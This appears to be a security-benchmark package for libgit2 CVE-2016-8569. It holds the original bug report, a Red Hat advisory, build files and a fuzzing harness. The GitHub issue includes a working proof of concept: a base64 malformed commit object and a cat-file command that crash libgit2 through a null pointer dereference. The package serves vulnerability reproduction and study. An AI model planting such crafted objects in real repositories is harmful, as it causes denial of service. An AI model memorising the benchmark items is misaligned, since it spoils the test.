Project: libgit2 (libgit2/libgit2), language: c++
Vulnerability instance: libgit2.cve-2016-8569
Sanitizer: address

================= Bug Report (1/2) ==================
## Source: GitHub Issue
## URL: https://github.com/libgit2/libgit2/issues/3937
## Description:
Issue: libgit2/libgit2#3937
Title: DoS using a null pointer derreference in git_commit_message
State: closed
Created by: gaa-cifasis
Created at: 2016-09-26 01:19:42+00:00

Issue Body:
Hi,

We found a null pointer derreference showing a malformed object file using the last version of libgit2. To reproduce, first compile libgit2 and its examples with AddressSanitizer support. Then:

```
$ git init ; mkdir -p .git/objects/cc/ ; printf 'eJx9kzFMFEEUhpXCxGskFhYkxilMIAHDezOzszMJQUJDBwkFNsRk3JlVC0TX1dgI0cYS6CggNCRQQGFpYmLQ4ggYEkJBJyZGco0WxNhI7tzF29uZi/q6t++f7/3zTzaanpq6nxLFgnNpYi1RARMRk9xoKyAri9oyChSapQANNZxXHurEPkhJ9onmPURhnM+1FLEKAUs9Y5YDOnoIY04LPUolpCz7olp6Cl5x7fcg2/SIInPe2i+QAw1Kf8U+18//+AwZZxJKPTXUvZ8AZagt+ZkWPD76PJRtfBmynFfoA8kwz6uYx+oPr+Crdj5oTR3PCH/31+IDRm4+bfHCnSavvK9QLs8oKvM8/sXPla7fGExoqXM+mxgVCEePcVy+fdZ676cxi8jPE03o8fx8m+dL/z6PKeCuPyObfP0kvTedkMWfq1fs0Iv3y9XaZMfnU27rb4bHNtde1ieezY7WyEDPcXXm2iC5kQM5paQ3W8kr0dlflNqEnKxePRT7O3O77zYaR1vzWzdnrpOBvu+fXl24tXTZPmbk1zhbf3rS/eP28d3dQULDACU7o6jK6/O1/f5qR/1gpfPD6fOFnqOub1/3qo3tj42VS5W3E43RLxcfjSS/ARnzBb0=' | base64 -d > .git/objects/cc/b43974c5163c530fd93a991ec83b640d88b3b0
```

Finally, you can trigger the bug using cat-file:

```
$ ASAN_OPTIONS='detect_leaks=0' cat-file -p ccb43974c5163c530fd93a991ec83b640d88b3b0
```

The AddressSanitizer report is here:

```
ASAN:DEADLYSIGNAL
=================================================================
==11692==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f813f26e4bb bp 0x7ffff2709730 sp 0x7ffff2709710 T0)
    #0 0x7f813f26e4ba in git_commit_message /home/g/Work/Code/libgit2-master/src/commit.c:500
    #1 0x403178 in show_commit /home/g/Work/Code/libgit2-master/examples/cat-file.c:87
    #2 0x403724 in main /home/g/Work/Code/libgit2-master/examples/cat-file.c:175
    #3 0x7f813ec3a290 in __libc_start_main (/usr/lib/libc.so.6+0x20290)
    #4 0x401919 in _start (/home/g/Work/Code/libgit2-master/examples/cat-file+0x401919)
```

This issues was found using QuickFuzz.

Regards



Comments:
Comment by pks-t on 2016-10-07 07:42:30+00:00:
Thanks for both your reports. These issues should be fixed by #3956


---

Comment by pks-t on 2016-10-10 06:59:29+00:00:
Fixed via #3956 


Commit References:
ccb43974c5163c530fd93a991ec83b640d88b3b0

================= Bug Report (2/2) ==================
## Source: Red Hat Bugzilla
## URL: https://bugzilla.redhat.com/show_bug.cgi?id=1383211
## Description:
Bugzilla ID: 1383211
Title: CVE-2016-8568 CVE-2016-8569 libgit2: Invalid memory accesses parsing object files

Description
Andrej Nemec 2016-10-10 08:20:54 UTC
CVE-2016-8568

* Read out-of-bounds in git_oid_nfmt:
https://github.com/libgit2/libgit2/issues/3936

CVE-2016-8569

* DoS using a null pointer dereference in git_commit_message:
https://github.com/libgit2/libgit2/issues/3937

Proposed patch:

https://github.com/libgit2/libgit2/pull/3956


Comments:
Comment 1
Andrej Nemec 2016-10-10 08:21:57 UTC
Created libgit2 tracking bugs for this issue:

Affects: fedora-all [bug 1383212]
Affects: epel-all [bug 1383213]

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
mkdir -p build
cd build
cmake .. -DCMAKE_INSTALL_PREFIX="$WORK" \
      -DBUILD_SHARED_LIBS=OFF \
      -DBUILD_CLAR=OFF \
      -DUSE_HTTPS=OFF \
      -DUSE_SSH=OFF \
      -DUSE_BUNDLED_ZLIB=ON \

make -j$(nproc)
make install -j$(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool cmake
RUN git clone https://github.com/libgit2/libgit2 libgit2
RUN git -C libgit2 checkout 8e268168ecfdcc8efe36b58b514d1b93ea3f47f8
WORKDIR $SRC/libgit2
COPY build.sh $SRC/

Additional files:
filename: download_refs_fuzzer.cc
content: #include <git2.h>
#include <git2/sys/transport.h>

#include <cstring>
#include <cstdlib>
#include <sys/stat.h>

#include <string>

struct fuzz_buffer {
    const uint8_t *data;
    size_t size;
};

class fuzzer_stream {
public:
    git_smart_subtransport_stream base;
    fuzzer_stream(fuzz_buffer data) : readp(data.data), endp(data.data + data.size) {
        base.read = fuzzer_stream::read;
        base.write = fuzzer_stream::write;
        base.free = fuzzer_stream::free;
    }

    int do_read(char *buffer, size_t buf_size, size_t *bytes_read) {
        size_t avail = endp - readp;
        *bytes_read = std::min(buf_size, avail);
        memcpy(buffer, readp, *bytes_read);
        readp += *bytes_read;
        return 0;
    }

    static int read(git_smart_subtransport_stream *stream,
                    char *buffer,
                    size_t buf_size,
                    size_t *bytes_read) {
        fuzzer_stream *fs = reinterpret_cast<fuzzer_stream*>(stream);
        return fs->do_read(buffer, buf_size, bytes_read);
    }

    static int write(git_smart_subtransport_stream *stream,
              const char *buffer,
              size_t len) {
        return 0;
    }

    static void free(git_smart_subtransport_stream *stream) {
        fuzzer_stream *fs = reinterpret_cast<fuzzer_stream*>(stream);
        delete fs;
    }
private:
    const uint8_t *readp;
    const uint8_t *endp;
};

class fuzzer_subtransport {
public:
    git_smart_subtransport base;
    fuzzer_subtransport(git_transport *owner, fuzz_buffer data) : owner(owner), data(data) {
        base.action = fuzzer_subtransport::action;
        base.close = fuzzer_subtransport::close;
        base.free = fuzzer_subtransport::free;
    }

    int do_action(git_smart_subtransport_stream **out,
                  git_smart_subtransport *transport,
                  const char *url,
                  git_smart_service_t action) {
        fuzzer_stream *stream = new fuzzer_stream(this->data);
        *out = &stream->base;
        return 0;
    }

    static int action(git_smart_subtransport_stream **out,
                      git_smart_subtransport *transport,
                      const char *url,
                      git_smart_service_t action) {
        fuzzer_subtransport *ft = reinterpret_cast<fuzzer_subtransport*>(transport);
        return ft->do_action(out, transport, url, action);
    }

    static int close(git_smart_subtransport *transport) {
        return 0;
    }

    static void free(git_smart_subtransport *transport) {
        fuzzer_subtransport *ft = reinterpret_cast<fuzzer_subtransport*>(transport);
        delete ft;
    }

private:
    git_transport *owner;
    fuzz_buffer data;
};

int fuzzer_subtransport_cb(git_smart_subtransport **out,
                           git_transport* owner,
                           void* param) {
    fuzz_buffer *buf = static_cast<fuzz_buffer*>(param);
    fuzzer_subtransport *sub = new fuzzer_subtransport(owner, *buf);

    *out = &sub->base;
    return 0;
}

int create_fuzzer_transport(git_transport **out, git_remote *owner, void *param) {
    git_smart_subtransport_definition fuzzer_subtransport {fuzzer_subtransport_cb, 1, param};
    return git_transport_smart(out, owner, &fuzzer_subtransport);
}

void fuzzer_git_abort(const char *op) {
    const git_error *err  = giterr_last();
    fprintf(stderr, "unexpected libgit error: %s: %s\n",
            op, err ? err->message : "<none>");
    abort();
}


extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
  static git_repository *repo = nullptr;
  if (repo == nullptr) {
      git_libgit2_init();
      char tmp[] = "/tmp/git2.XXXXXX";
      if (mkdtemp(tmp) != tmp) {
          abort();
      }
      int err = git_repository_init(&repo, tmp, true);
      if (err != 0) {
          fuzzer_git_abort("git_repository_init");
      }
  }

  int err;
  git_remote *remote;
  err = git_remote_create_anonymous(&remote, repo, "fuzzer://remote-url");
  if (err != 0) {
      fuzzer_git_abort("git_remote_create");
  }


  fuzz_buffer buffer = {data, size};
  git_remote_callbacks callbacks = GIT_REMOTE_CALLBACKS_INIT;
  callbacks.transport = create_fuzzer_transport;
  callbacks.payload = &buffer;

  err = git_remote_connect(remote, GIT_DIRECTION_FETCH, &callbacks, nullptr, nullptr);
  if (err != 0) {
      goto out;
  }

  git_remote_download(remote, nullptr, nullptr);

 out:
  git_remote_free(remote);

  return 0;
}